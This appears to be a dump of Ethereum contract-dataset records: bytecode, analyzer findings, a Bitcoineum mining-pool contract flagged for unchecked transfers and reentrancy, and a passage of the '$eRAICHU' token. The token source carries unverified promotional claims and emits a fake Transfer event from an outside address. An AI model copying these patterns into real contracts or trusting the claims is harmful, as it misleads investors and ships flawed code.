46472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220121516d17af92dafa3dc013dc4b17a9775e25e0efa479afa06727954b2554f4864736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 5,180 |
0x29aa20fB9b23421E310BDB8a7cfB81d7fbB4a1b3
|
pragma solidity ^0.4.13;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <<span class="__cf_email__" data-cfemail="0674636b65694634">[email protected]</span>π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
// Minimal Bitcoineum interface for proxy mining
contract BitcoineumInterface {
function mine() payable;
function claim(uint256 _blockNumber, address forCreditTo);
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool);
function checkWinning(uint256 _blockNum) constant public returns (bool);
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
function currentDifficultyWei() constant public returns (uint256);
}
// Sharkpool is a rolling window Bitcoineum miner
// Smart contract based virtual mining
// http://www.bitcoineum.com/
contract SharkPool is Ownable, ReentrancyGuard {
string constant public pool_name = "SharkPool 100";
// Percentage of BTE pool takes for operations
uint256 public pool_percentage = 0;
// Limiting users because of gas limits
// I would not increase this value it could make the pool unstable
uint256 constant public max_users = 100;
// Track total users to switch to degraded case when contract is full
uint256 public total_users = 0;
uint256 public constant divisible_units = 10000000;
// How long will a payment event mine blocks for you
uint256 public contract_period = 100;
uint256 public mined_blocks = 1;
uint256 public claimed_blocks = 1;
uint256 public blockCreationRate = 0;
BitcoineumInterface base_contract;
struct user {
uint256 start_block;
uint256 end_block;
uint256 proportional_contribution;
}
mapping (address => user) public users;
mapping (uint256 => uint256) public attempts;
mapping(address => uint256) balances;
uint8[] slots;
address[256] public active_users; // Should equal max_users
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function set_pool_percentage(uint8 _percentage) external nonReentrant onlyOwner {
// Just in case owner is compromised
require(_percentage < 6);
pool_percentage = _percentage;
}
function find_contribution(address _who) constant external returns (uint256, uint256, uint256, uint256, uint256) {
if (users[_who].start_block > 0) {
user memory u = users[_who];
uint256 remaining_period= 0;
if (u.end_block > mined_blocks) {
remaining_period = u.end_block - mined_blocks;
} else {
remaining_period = 0;
}
return (u.start_block, u.end_block,
u.proportional_contribution,
u.proportional_contribution * contract_period,
u.proportional_contribution * remaining_period);
}
return (0,0,0,0,0);
}
function allocate_slot(address _who) internal {
if(total_users < max_users) {
// Just push into active_users
active_users[total_users] = _who;
total_users += 1;
} else {
// The maximum users have been reached, can we allocate a free space?
if (slots.length == 0) {
// There isn't any room left
revert();
} else {
uint8 location = slots[slots.length-1];
active_users[location] = _who;
delete slots[slots.length-1];
}
}
}
function external_to_internal_block_number(uint256 _externalBlockNum) public constant returns (uint256) {
// blockCreationRate is > 0
return _externalBlockNum / blockCreationRate;
}
function available_slots() public constant returns (uint256) {
if (total_users < max_users) {
return max_users - total_users;
} else {
return slots.length;
}
}
event LogEvent(
uint256 _info
);
function get_bitcoineum_contract_address() public constant returns (address) {
return 0x73dD069c299A5d691E9836243BcaeC9c8C1D8734; // Production
// return 0x7e7a299da34a350d04d204cd80ab51d068ad530f; // Testing
}
// iterate over all account holders
// and balance transfer proportional bte
// balance should be 0 aftwards in a perfect world
function distribute_reward(uint256 _totalAttempt, uint256 _balance) internal {
uint256 remaining_balance = _balance;
for (uint8 i = 0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0 && remaining_balance != 0) {
uint256 proportion = users[user_address].proportional_contribution;
uint256 divided_portion = (proportion * divisible_units) / _totalAttempt;
uint256 payout = (_balance * divided_portion) / divisible_units;
if (payout > remaining_balance) {
payout = remaining_balance;
}
balances[user_address] = balances[user_address] + payout;
remaining_balance = remaining_balance - payout;
}
}
}
function SharkPool() {
blockCreationRate = 50; // match bte
base_contract = BitcoineumInterface(get_bitcoineum_contract_address());
}
function current_external_block() public constant returns (uint256) {
return block.number;
}
function calculate_minimum_contribution() public constant returns (uint256) {
return base_contract.currentDifficultyWei() / 10000000 * contract_period;
}
// A default ether tx without gas specified will fail.
function () payable {
require(msg.value >= calculate_minimum_contribution());
// Did the user already contribute
user storage current_user = users[msg.sender];
// Does user exist already
if (current_user.start_block > 0) {
if (current_user.end_block > mined_blocks) {
uint256 periods_left = current_user.end_block - mined_blocks;
uint256 amount_remaining = current_user.proportional_contribution * periods_left;
amount_remaining = amount_remaining + msg.value;
amount_remaining = amount_remaining / contract_period;
current_user.proportional_contribution = amount_remaining;
} else {
current_user.proportional_contribution = msg.value / contract_period;
}
// If the user exists and has a balance let's transfer it to them
do_redemption();
} else {
current_user.proportional_contribution = msg.value / contract_period;
allocate_slot(msg.sender);
}
current_user.start_block = mined_blocks;
current_user.end_block = mined_blocks + contract_period;
}
// Proxy mining to token
function mine() external nonReentrant
{
// Did someone already try to mine this block?
uint256 _blockNum = external_to_internal_block_number(current_external_block());
require(!base_contract.checkMiningAttempt(_blockNum, this));
// Alright nobody mined lets iterate over our active_users
uint256 total_attempt = 0;
uint8 total_ejected = 0;
for (uint8 i=0; i < total_users; i++) {
address user_address = active_users[i];
if (user_address > 0) {
// This user exists
user memory u = users[user_address];
if (u.end_block <= mined_blocks) {
// This user needs to be ejected, no more attempts left
// but we limit to 20 to prevent gas issues on slot insert
if (total_ejected < 10) {
delete active_users[i];
slots.push(i);
delete users[active_users[i]];
total_ejected = total_ejected + 1;
}
} else {
// This user is still active
total_attempt = total_attempt + u.proportional_contribution;
}
}
}
if (total_attempt > 0) {
// Now we have a total contribution amount
attempts[_blockNum] = total_attempt;
base_contract.mine.value(total_attempt)();
mined_blocks = mined_blocks + 1;
}
}
function claim(uint256 _blockNumber, address forCreditTo)
nonReentrant
external returns (bool) {
// Did we win the block in question
require(base_contract.checkWinning(_blockNumber));
uint256 initial_balance = base_contract.balanceOf(this);
// We won let's get our reward
base_contract.claim(_blockNumber, this);
uint256 balance = base_contract.balanceOf(this);
uint256 total_attempt = attempts[_blockNumber];
distribute_reward(total_attempt, balance - initial_balance);
claimed_blocks = claimed_blocks + 1;
}
function do_redemption() internal {
uint256 balance = balances[msg.sender];
if (balance > 0) {
uint256 owner_cut = (balance / 100) * pool_percentage;
uint256 remainder = balance - owner_cut;
if (owner_cut > 0) {
base_contract.transfer(owner, owner_cut);
}
base_contract.transfer(msg.sender, remainder);
balances[msg.sender] = 0;
}
}
function redeem() external nonReentrant
{
do_redemption();
}
function checkMiningAttempt(uint256 _blockNum, address _sender) constant public returns (bool) {
return base_contract.checkMiningAttempt(_blockNum, _sender);
}
function checkWinning(uint256 _blockNum) constant public returns (bool) {
return base_contract.checkWinning(_blockNum);
}
}
|
0x606060405236156101435763ffffffff60e060020a600035041663014c3dbc811461021b5780630ee33c70146102405780632c035157146102655780632d59680d1461028a57806342b343a31461031557806354ba34b51461033d5780635f623e151461036257806370a082311461038757806388537daf146103b85780638da5cb5b146103ee57806399f4b2511461041d578063a263601c14610432578063a87430ba14610483578063aee1d4d3146104c6578063af76c4d2146104eb578063b03645b514610510578063b8b0f53314610535578063be040fb014610564578063c961df6614610579578063dda6c3ce1461059e578063ddd5e1b2146105c8578063e530db1c146105fe578063e6d2ceab14610623578063e7cc62bd1461063e578063ec083e3714610663578063f2fde38b14610695578063fab425e7146106b6575b6102195b60008060006101546106de565b34101561016057600080fd5b600160a060020a0333166000908152600860205260408120805490945011156101e757600454836001015411156101c65760045483600101540391508183600201540290503481019050600354818115156101b757fe5b046002840181905590506101da565b600354348115156101d357fe5b0460028401555b6101e261075d565b610203565b600354348115156101f457fe5b046002840155610203336108b6565b5b6004548084556003540160018401555b505050565b005b341561022657600080fd5b61022e6109d0565b60405190815260200160405180910390f35b341561024b57600080fd5b61022e6109d5565b60405190815260200160405180910390f35b341561027057600080fd5b61022e6106de565b60405190815260200160405180910390f35b341561029557600080fd5b61029d6109db565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102da5780820151818401525b6020016102c1565b50505050905090810190601f1680156103075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561032057600080fd5b61022e600435610a05565b60405190815260200160405180910390f35b341561034857600080fd5b61022e610a17565b60405190815260200160405180910390f35b341561036d57600080fd5b61022e610a3d565b60405190815260200160405180910390f35b341561039257600080fd5b61022e600160a060020a0360043516610a44565b60405190815260200160405180910390f35b34156103c357600080fd5b6103da600435600160a060020a0360243516610a63565b604051901515815260200160405180910390f35b34156103f957600080fd5b610401610ae8565b604051600160a060020a03909116815260200160405180910390f35b341561042857600080fd5b610219610af7565b005b341561043d57600080fd5b610451600160a060020a0360043516610dee565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b341561048e57600080fd5b6104a2600160a060020a0360043516610ecd565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156104d157600080fd5b61022e610eee565b60405190815260200160405180910390f35b34156104f657600080fd5b61022e610ef4565b60405190815260200160405180910390f35b341561051b57600080fd5b61022e610efa565b60405190815260200160405180910390f35b341561054057600080fd5b610401610eff565b604051600160a060020a03909116815260200160405180910390f35b341561056f57600080fd5b610219610f18565b005b341561058457600080fd5b61022e610f61565b60405190815260200160405180910390f35b34156105a957600080fd5b6103da600435610f67565b604051901515815260200160405180910390f35b34156105d357600080fd5b6103da600435600160a060020a0360243516610fdc565b604051901515815260200160405180910390f35b341561060957600080fd5b61022e611223565b60405190815260200160405180910390f35b341561062e57600080fd5b61021960ff60043516611229565b005b341561064957600080fd5b61022e61129d565b60405190815260200160405180910390f35b341561066e57600080fd5b6104016004356112a3565b604051600160a060020a03909116815260200160405180910390f35b34156106a057600080fd5b610219600160a060020a03600435166112cb565b005b34156106c157600080fd5b61022e600435611316565b60405190815260200160405180910390f35b600354600754600091906298968090600160a060020a031663b0c2a16384604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561073157600080fd5b6102c65a03f1151561074257600080fd5b5050506040518051905081151561075557fe5b040290505b90565b600160a060020a0333166000908152600a6020526040812054908080831115610214576001546064845b0402915050808203600082111561081c5760075460008054600160a060020a039283169263a9059cbb9291169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561080057600080fd5b6102c65a03f1151561081157600080fd5b505050604051805150505b600754600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561087b57600080fd5b6102c65a03f1151561088c57600080fd5b50505060405180515050600160a060020a0333166000908152600a60205260408120555b5b505050565b6000606460025410156109125781600c600254610100811015156108d657fe5b0160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555060016002600082825401925050819055506109ca565b600b54151561092057600080fd5b600b8054600019810190811061093257fe5b90600052602060002090602091828204019190065b9054906101000a900460ff16905081600c8260ff166101008110151561096957fe5b0160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550600b6001600b80549050038154811015156109a657fe5b90600052602060002090602091828204019190065b6101000a81549060ff02191690555b5b5b5050565b435b90565b60055481565b60408051908101604052600d8152609c60020a6c0536861726b506f6f6c203130302602082015281565b60096020526000908152604090205481565b600060646002541015610a30575060025460640361075a565b50600b5461075a565b5b90565b6298968081565b600160a060020a0381166000908152600a60205260409020545b919050565b600754600090600160a060020a03166388537daf8484846040516020015260405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401602060405180830381600087803b1515610ac557600080fd5b6102c65a03f11515610ad657600080fd5b50505060405180519150505b92915050565b600054600160a060020a031681565b6000806000806000610b0761140b565b60005460a060020a900460ff1615610b1e57600080fd5b6000805460a060020a60ff02191660a060020a179055610b44610b3f6109d0565b611316565b600754909650600160a060020a03166388537daf873060006040516020015260405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401602060405180830381600087803b1515610ba757600080fd5b6102c65a03f11515610bb857600080fd5b5050506040518051159050610bcc57600080fd5b6000945060009350600092505b6002548360ff161015610d5957600c60ff84166101008110610bf757fe5b0160005b9054906101000a9004600160a060020a03169150600082600160a060020a03161115610d4c57600160a060020a03821660009081526008602052604090819020906060905190810160409081528254825260018301546020830190815260029093015490820152600454909250905111610d4257600a8460ff161015610d3d57600c60ff84166101008110610c8c57fe5b0160005b6101000a815490600160a060020a030219169055600b8054806001018281610cb8919061142d565b91600052602060002090602091828204019190065b815460ff80881661010093840a8181029202199092161790925560089250600091600c918110610cf957fe5b0160005b9054600160a060020a036101009290920a900416815260208101919091526040016000908120818155600180820183905560029091019190915593909301925b610d4c565b8060400151850194505b5b5b600190920191610bd9565b6000851115610dd45760008681526009602052604090819020869055600754600160a060020a0316906399f4b251908790518263ffffffff1660e060020a0281526004016000604051808303818588803b1515610db557600080fd5b6125ee5a03f11515610dc657600080fd5b505060048054600101905550505b5b6000805460a060020a60ff02191690555b505050505050565b6000806000806000610dfe61140b565b600160a060020a03871660009081526008602052604081205481901115610eb157600160a060020a038816600090815260086020526040908190209060609051908101604090815282548252600183015460208301908152600290930154908201526004549093506000925090511115610e82576004548260200151039050610e86565b5060005b8151826020015183604001516003548560400151028486604001510296509650965096509650610ec2565b600096508695508594508493508392505b505091939590929450565b60086020526000908152604090208054600182015460029092015490919083565b60065481565b60045481565b606481565b7373dd069c299a5d691e9836243bcaec9c8c1d87345b90565b60005460a060020a900460ff1615610f2f57600080fd5b6000805460a060020a60ff02191660a060020a179055610f4d61075d565b5b6000805460a060020a60ff02191690555b565b60035481565b600754600090600160a060020a031663dda6c3ce83836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610fba57600080fd5b6102c65a03f11515610fcb57600080fd5b50505060405180519150505b919050565b6000805481908190819060a060020a900460ff1615610ffa57600080fd5b6000805460a060020a60ff02191660a060020a178155600754600160a060020a03169063dda6c3ce9088906040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561106257600080fd5b6102c65a03f1151561107357600080fd5b50505060405180519050151561108857600080fd5b600754600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156110e157600080fd5b6102c65a03f115156110f257600080fd5b5050506040518051600754909450600160a060020a0316905063ddd5e1b2873060405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401600060405180830381600087803b151561115657600080fd5b6102c65a03f1151561116757600080fd5b5050600754600160a060020a031690506370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156111c457600080fd5b6102c65a03f115156111d557600080fd5b505050604051805160008881526009602052604090205490935091506111ff90508184840361132e565b6005805460010190555b6000805460a060020a60ff02191690555b50505092915050565b60015481565b60005460a060020a900460ff161561124057600080fd5b6000805460a060020a60ff02191660a060020a179081905533600160a060020a0390811691161461127057600080fd5b600660ff82161061128057600080fd5b60ff81166001555b5b6000805460a060020a60ff02191690555b50565b60025481565b600c8161010081106112b157fe5b0160005b915054906101000a9004600160a060020a031681565b60005433600160a060020a039081169116146112e657600080fd5b600160a060020a0381161561129a5760008054600160a060020a031916600160a060020a0383161790555b5b5b50565b60006006548281151561132557fe5b0490505b919050565b806000808080805b6002548560ff16101561140057600c60ff8616610100811061135457fe5b0160005b9054906101000a9004600160a060020a03169350600084600160a060020a031611801561138457508515155b156113f457600160a060020a0384166000908152600860205260409020600201549250876298968084028115156113b757fe5b049150629896808783025b049050858111156113d05750845b600160a060020a0384166000908152600a6020526040902080548201905594859003945b5b600190940193611336565b5b5050505050505050565b6060604051908101604052806000815260200160008152602001600081525090565b81548183558181151161021457601f016020900481601f016020900483600052602060002091820191016102149190611467565b5b505050565b61075a91905b80821115611481576000815560010161146d565b5090565b905600a165627a7a72305820ad3aba2b9338c3c58e5c1744da6217b18f6f75a9ce0d1cea621e7fc59c0749970029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,181 |
0xe0ee657a6cfbee395ac621f3cd3c57b7b36f781f
|
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
THIS IS THE OFFICIAL CONTRACT OF $eRAICHU - MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Raichu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Ethereum Rainchu (raichucoin.com)";
string private constant _symbol = '$eRAICHU';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
